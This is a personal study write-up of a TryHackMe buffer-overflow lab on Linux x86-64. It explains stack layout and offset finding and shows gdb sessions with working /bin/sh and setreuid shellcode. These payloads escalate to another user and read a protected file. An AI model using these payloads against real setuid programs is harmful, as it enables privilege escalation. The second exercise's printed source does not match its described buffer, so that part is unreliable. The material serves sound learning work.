Linux x86-64
Notes on the THM 'Buffer Overflow' Room, looking specifically at Linux x86-64 programs. The room recommends using radare2 (r2) but it was easier to use gdb
instead.
Some preliminary notes and knowledge around the stack so I can try to understand what is happening.
The Stack
The stack is the place in memory where your local variables and function arguments go.
Your application address space looks like this:
high addresses
_____________
[_____________]
[ stack ]
[_____________]
[ ]
[ ]
[_____________]
[____heap_____]
[___globals___]
[____code_____]
[_____________]
low addresses
The "heap" grows "upward", and the "stack" grows "downward"- so the "top" of the stack if you look at the diagram is technically the "bottom", cos it grows "downward".
Stack Frame
Every time you call a function a chunk of memory is allocated to the "top" of the stack, this is called the Stack Frame
, and holds the args, local variables and return address to jump back to, for that function call.
These Stack Frames are PUSH
onto the stack:
e.g.
main (locals, args, return)
printf(locals, args, return)
malloc(locals, args, return)
When the function "returns", the stack frame is removed with POP
stack bottom |
---|
return address |
saved registers |
buffer: function |
stack top |
The Overflow
The Cyber Mentor's notes on the anatomy of the stack, with regard to overflows, are the most clear I've read online: "Buffer Overflows Made Easy". This section paraphrases a lot fo CM's work, so full credit to him for the basis of my notes.
The stack we're most concerned about in an overflow is a "memory stack" with the 4 main components
- ESP - stack pointer
- Buffer Space
- EBP - base pointer
- EIP - instruction pointer / return address
We start with this as our programs stack:
It's called a "buffer overflow" cos that Buffer Space
you see there, is what we're trying to overflow.
We can identify it is vulnerable to an overflow a couple of ways:
- viewing sourcecode and seeing vulnerable code e.g.
strcpy
- "fuzzing" where we send bytes at a function the application exposes and seeing where it "overflows" i.e. crashes and overwrites the EIP
As you can see, the Buffer Space
has been overflowed, all the way to us being able to write a bunch of A
's into the EIP register, which means we control what the value of this register.
This is the return address to go to when the stack frame completes executing, if we control this, we control "where" the program executes next. And we want to point that to whever our shellcode is.
The Payload
After reviewing a lot of the literature on buffer overflowing methods, what makes sense to me is starting at the end goal and working backwards.
Ultimately, we want a "payload" that we fire at the overflow entrypoint and pops us a shell.
This payload is essentially = offset
+ return address
But the offset is made up of the following:
In terms of cli input, this looks like this in gdb
:
(gdb) run $(python -c "print $nop_sled + $shellcode + $alignment + $return_address")
Once we find the size of the Offset, we can determine what byte sizes to allocate to the other components i.e. the NOP sled, Shellcode and Alignment parts.
Find the Offset
What's the Offset?
The offset
is the number of bytes all the way up to, but not overwriting the EIP:
How do we find how big the offset is?
Manual Method
As an example, if we have sourcecode like this:
...
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}
...
What do we know?
We know our buffer is 140
bytes.
We know $rbp
is 8
bytes (we know the it's 8 bytes because we are on an x86_64
i.e the 64 bit version of the x86 instruction set) so we try sending a payload of 148 + n
until the program crashes.
At the very least, we know our offset is at least 148
bytes.
If we've loaded our program into gdb
we'll send our overflow input like this, choosing to add 8
bytes arbitrarily and incrementing it until the program crashes:
(gdb) run $(python -c "print 'A'*(148+8))
We inspect the return address when it crashes, looking for this:
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
this is the EIP
and it's showing it's overwritten with a bunch of A
's i.e. we've overflowed the buffer, and overwritten everything up to and including the EIP.
We keep increasing n
until we see the \x41
's, when we overshoot it, the \x41
's disappear.
In the example above, the return address turns out to be 6-bytes
long before the next n
increment overshoots it.
The final number (148 + n) - 6
is our "offset" i.e. the size of the buffer right up to the start of the return address.
Metsploit Framework Method
I haven't done this myself, but l1ge's write-up does an excellent job of explaining it.
In summary:
- use
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <buffer size>
, to create a payload string pattern. - send it at the application as input
- inspect the registers in
gdb
(e.g.i r
orx/100 $rsp-200
) to see where the pattern has ended up overwriting - use
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <buffer size> -q <address>
NOP Sled
A "no operation" byte aka \x90
or NOP
is (my own words) a byte that takes up space and does nothing when hit, but pass execution along to the next byte.
Why do we need one?
The return address we're overwriting onto the EIP is a very specific location pointing to the start of our shellcode to be executed.
The problem with this is, shit happens on computers all the time which move the address space around, which could affect our shellcode being executed correctly.
To allow for this scenario, we use a "NOP sled" i.e. a string of NOPs that start at the beginning of our buffer, in front of our shellcode, so when the EIP sends execution to the beginning of our buffer, the NOP sled will "no execute and pass along" the pointer eventually to the start of our shellcode.
The NOP sled can be any size, but bear in mind it shares the same "offset" space with the Shellcode and Alignment, so combined these cannot add up to more than the offset size.
Shellcode
A few ways to generate shellcode
Alignment
The alignment bytes just make up the difference between the shellcode and the end of the offset.
Return Address
The size of this is determined by what we say in the "finding the offset", where the EIP gets filled up with A
's until we see something like this for the crashed return address in gdb: 0x0000414141414141
, telling us the return address size is 6 bytes
.
But what address are we writing in here?
Now that we know our NOP Sled
is going to be at the start of our payload/buffer, we want the address where our NOP
's can be found.
For example, if we've got most of our payload determined:
(gdb) run $(python -c "print $nop_sled + $shellcode + $alignment + $return_address")
We send this off and can see the return address being overwritten...
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
Staying inside gdb
, dump the memory and look for our NOP
's i.e. 0x90909090
's.
(gdb) x/100x $rsp-200
0x7fffffffe8c8: 0x004005a9 0x00000000 0xf7ffa268 0x00007fff
0x7fffffffe8d8: 0xffffecea 0x00007fff 0x67676f64 0x9090906f
0x7fffffffe8e8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe8f8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe908: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe918: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe928: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe938: 0x90909090 0x90909090 0x90909090 0xff319090
0x7fffffffe948: 0x03eabf66 0x4858716a 0x050ffe89 0x48583b6a
0x7fffffffe958: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe968: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe978: 0x050fff31 0x42424242 0x42424242 0x42424242
0x7fffffffe988: 0x41414141 0x00004141 0xffffea88 0x00007fff
0x7fffffffe998: 0x00000000 0x00000002 0x004005e0 0x00000000
0x7fffffffe9a8: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe9b8: 0xffffea88 0x00007fff 0x00040000 0x00000002
0x7fffffffe9c8: 0x004005ac 0x00000000 0x00000000 0x00000000
0x7fffffffe9d8: 0x794daa23 0x97320a39 0x00400450 0x00000000
0x7fffffffe9e8: 0xffffea80 0x00007fff 0x00000000 0x00000000
0x7fffffffe9f8: 0x00000000 0x00000000 0xa1edaa23 0x68cdf546
0x7fffffffea08: 0x2d49aa23 0x68cde5f1 0x00000000 0x00000000
0x7fffffffea18: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffea28: 0xffffeaa0 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffea38: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffea48: 0x00000000 0x00000000 0x00000000 0x00000000
Pick any address where you see the 0x90909090
's and write it in little edian format e.g. 0x7fffffffe8f8
becomes \xf8\xe8\xff\xff\xff\x7f
.
You now have the last piece of the payload puzzle.
The size in bytes of the offset
must be maintained at all times. If you mess up the offset, you will mess up overwriting the EIP which is crucial for pointing the execution flow to our shellcode.
So, if the offset is 169
bytes, then NOP
+ shellcode
+ Alignment
+ return_address
must equal 169
bytes exactly.
Buffer Overflow #1
The scenario, is a buffer-overflow program belonging to user1
will be used to read a secret.txt
file belonging to user2
:
[user1@ip-10-10-79-28 overflow-3]$ ll
total 24
-rwsrwxr-x 1 user2 user2 8264 Sep 2 2019 buffer-overflow
-rw-rw-r-- 1 user1 user1 285 Sep 2 2019 buffer-overflow.c
-rw------- 1 user2 user2 22 Sep 2 2019 secret.txt
Notes on an overflow using this program from TryHackMe Buffer Overflow Room task 8.
#include <stdio.h>
#include <stdlib.h>
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}
int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}
this technique uses Python, GDB and a clear understanding of all elements of the Stack.
Find the offset
The offset is the amount of bytes between filling up the buffer and the start of the return address.
offset = buffer[140] + alignment bytes + rbp[8]
use Python and GDB to find the offset i.e. number of bytes it takes to overwrite the return address.
(gdb) run $(python -c "print('A' * 150)")
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 150)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()
(gdb) run $(python -c "print('A' * 151)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 151)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGBUS, Bus error.
0x0000000000400595 in main ()
(gdb) run $(python -c "print('A' * 152)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 152)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGILL, Illegal instruction.
0x0000000000400500 in __do_global_dtors_aux ()
(gdb) run $(python -c "print('A' * 155)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 155)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()
line 0x0000000000400595 in main ()
is the return address
what we're trying to do is overwrite it with until we see all A
s i.e. \x41
all over the return address like the following:
(gdb) run $(python -c "print('A' * 158)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 158)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) run $(python -c "print('A' * 159)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 159)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400563 in copy_arg ()
you know you've gone OVER it when the return address goes from 41
s to some other bytes.
so, we now know 158
bytes is the right amount of bytes to fill a) the buffer, b) the alignment bytes and c) the rbp (saved registers) and the 6-byte return address.
offset = 158 - 6 = 152
so - 152
bytes to fill the buffer (plus alignment + rbp), 6
bytes to overwrite return address.
shellcode + return address
use this 40-bytes
shellcode:
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
key note from the author: simple shellcodes without an exit function messes the overflow up, check this.
we need to find the return address for the start of our shellcode, so we can put this into our overflow to jump to our code when the program is exploited.
so our payload needs to be a total bytes: 152 + return address (6) = 158
at all times.
PAYLOAD = JUNK + SHELLCODE + JUNK + RETURN_ADDRESS
e.g. payload = 'A'*100 + 'shellcode' + 'B'*12 + 'C'*6
using gdb, run this:
(gdb) run $(python -c "print 'A' * 100 + shellcode + 'B' * 12 + 'C' * 6")
then dump the memory to see where the payload ended up, and the memory addresses associated with it.
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe656 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x622fb948
0x7fffffffe2b8: 0x732f6e69 0xc1481168 0xc14808e1 0x485108e9
0x7fffffffe2c8: 0x48243c8d 0x3bb0d231 0x4242050f 0x42424242
0x7fffffffe2d8: 0x42424242 0x43434242 0x43434343 0x00007f00
0x7fffffffe2e8: 0x00400590 0x00000000 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0x14cb65ee 0xa528a1f1 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0xd9ab65ee 0x5ad75e8e
0x7fffffffe368: 0x404f65ee 0x5ad74e39 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
each COLUMN is 4 bytes wide
the dump command:
(gdb) x/100x $rsp-200
this says "dump 100x4 bytes from memory location $rsp-200
" (why rsp-200?) then look at the output, see the \x41
s and see where the shellcode starts i.e. \x6a\x3b\x58...
Memory Address Math
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe656 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x622fb948
0x7fffffffe2b8: 0x732f6e69 0xc1481168 0xc14808e1 0x485108e9
0x7fffffffe2c8: 0x48243c8d 0x3bb0d231 0x4242050f 0x42424242
0x7fffffffe2d8: 0x42424242 0x43434242 0x43434343 0x00007f00
0x7fffffffe2e8: 0x00400590 0x00000000 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0x14cb65ee 0xa528a1f1 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0xd9ab65ee 0x5ad75e8e
0x7fffffffe368: 0x404f65ee 0x5ad74e39 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000
Our shellcode starts on address line 0x7fffffffe2a8
on the 4th column.
Each column is 4-bytes wide, so to reference it, we need to start at 0x7fffffffe2a8
add 3 x 4 = 12 bytes, 12 in hex is 0xC
.
So the return address for the start of our shellcode is 0x7fffffffe2a8
+ 0xC
= 0x7fffffffe2b4
Use a hex calculator
This was just an exercise if seeing how the A's and shellcode land in memory and how you can calculate a memory address (in hex) for a certain point in your payload. DONT do this to find your shellcode return address, use the NOP sled method instead.
NOP slide shellcode address
(gdb) run $(python -c "print '\x90'*100 + '\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05' + 'B'*12 + 'C'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100 + '\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05' + 'B'*12 + 'C'*6")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������H�/bin/shH�H�QH�<$H1Ұ;BBBBBBBBBBBBCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe656 0x00007fff 0x90909090 0x90909090
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090 <---- e.g. here
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x622fb948
0x7fffffffe2b8: 0x732f6e69 0xc1481168 0xc14808e1 0x485108e9
0x7fffffffe2c8: 0x48243c8d 0x3bb0d231 0x4242050f 0x42424242
0x7fffffffe2d8: 0x42424242 0x43434242 0x43434343 0x00007f00
0x7fffffffe2e8: 0x00400590 0x00000000 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0xdb621c60 0x310de389 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0x16021c60 0xcef21cf6
0x7fffffffe368: 0x8fe61c60 0xcef20c41 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000
pick ANY address where you see a bunch of 0x90909090
in the columns.
I choose: 0x7fffffffe268
we need to convert to little endian: \x68\xe2\xff\xff\xff\x7f
payload + shellcode return address
DONT use the shellcode from the THM ROOM, it's all shit & doesn't work.
Use l1ge's one instead.
run it in gdb:
(gdb) run $(python -c "print '\x90'*100 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�BBBBBBBBBBBBh����
process 3468 is executing new program: /usr/bin/bash
sh-4.2$ ls
Detaching after fork from child process 3476.
buffer-overflow buffer-overflow.c secret.txt
sh-4.2$ whoami
Detaching after fork from child process 3477.
user1
sh-4.2$ ll
Detaching after fork from child process 3478.
sh: ll: command not found
sh-4.2$ ls -l
Detaching after fork from child process 3479.
total 20
-rwsrwxr-x 1 user2 user2 8264 Sep 2 2019 buffer-overflow
-rw-rw-r-- 1 user1 user1 285 Sep 2 2019 buffer-overflow.c
-rw------- 1 user2 user2 22 Sep 2 2019 secret.txt
sh-4.2$ cat secret.txt
Detaching after fork from child process 3480.
cat: secret.txt: Permission denied
sh-4.2$ exit
[Inferior 1 (process 3468) exited with code 01]
still no user2
permission, so we need to adjust our shellcode using setuid(1002)
(which is user1's uid from /etc/passwd
), when the shellcode pops, we want setuid
at the top to make use user2
.
look up & understand the difference between (real) UID and effective UID and how the shell treats things, except of course if you're trying to setuid(0) i.e. root, in which case you can only get your effective UID set. Because of this, what we need to basically su
to user2 is setruid()
pwntools setreuid shellcode
install pwntools:
apt update -y
apt install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools --user
and then create shellcode with setreuid:
pwn shellcraft -f d amd64.linux.setreuid 1002
\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
add this to the existing /bin/sh
shellcode that was dropping us in before:
run $(python -c "print '\x90'*100 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")
the payload is now 212 bytes, but we need to keep it at 158 bytes total (i.e. 152 offset + 6 return address).
Debugging Return Address
I had 2, near-identical payloads except for the return address- which according to the "pick any address where the NOPs are" rule, the address I picked should have worked.
First payload is l1ges
(the author of the write-up), second payload is mine.
[user1@ip-10-10-222-59 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + '\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shIAPH��RWH��j<XH1�AAAAAAAAAAAA�����
sh-4.2$ exit
[user1@ip-10-10-222-59 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shIAPH��RWH��j<XH1�BBBBBBBBBBBBh����
Illegal instruction
ended up being my return address \x68\xe2\xff\xff\xff\x7f
didn't work, but \x98\xe2\xff\xff\xff\x7f
did.
[user1@ip-10-10-222-59 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shIAPH��RWH��j<XH1�BBBBBBBBBBBB�����
sh-4.2$ whoami
user2
sh-4.2$ ls
buffer-overflow buffer-overflow.c secret.txt
sh-4.2$ cat secret.txt
omgyoudidthissocool!!
Buffer Overflow #2
The 2nd overflow, in the buffer-overflow-4
folder:
#include <stdio.h>
#include <stdlib.h>
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}
int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}
Find Offset
The offset is the size of the payload that includes the "buffer" all the way up to overwriting the EIP (return address)
we can see the entry point for our overflow in the source code:
char buffer[154] = "doggo";
strcpy(buffer, string)
our equation for the offset, works something like this:
payload = buffer + return_address + pad
- where pad
is some arbitrary number we adjust to see the program "crash" out and show us a return address that starts getting overwritten with 'A's
e.g.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()
We can see that buffer
is 154 - doggo
= 149
- (we'll keep writing it as 154-5
. And we know that the return address is 6 bytes
.
So now our equation looks like : payload = (154-5) + 6 + pad
for which we don't know what pad
equals, so we run a python line to start determining what pad
is.
Let's start with 8 bytes
i.e. (154-5+6+8)
and keep incrementing that until we see our A
's (\x41
) start overwriting the return address:
(gdb) run $(python -c "print 'A'*(154-5+6+8)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+8)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGILL, Illegal instruction.
0x0000000000400500 in __do_global_dtors_aux ()
(gdb) run $(python -c "print 'A'*(154-5+6+9)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+9)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400041 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+10)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+10)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000004141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+11)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+11)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
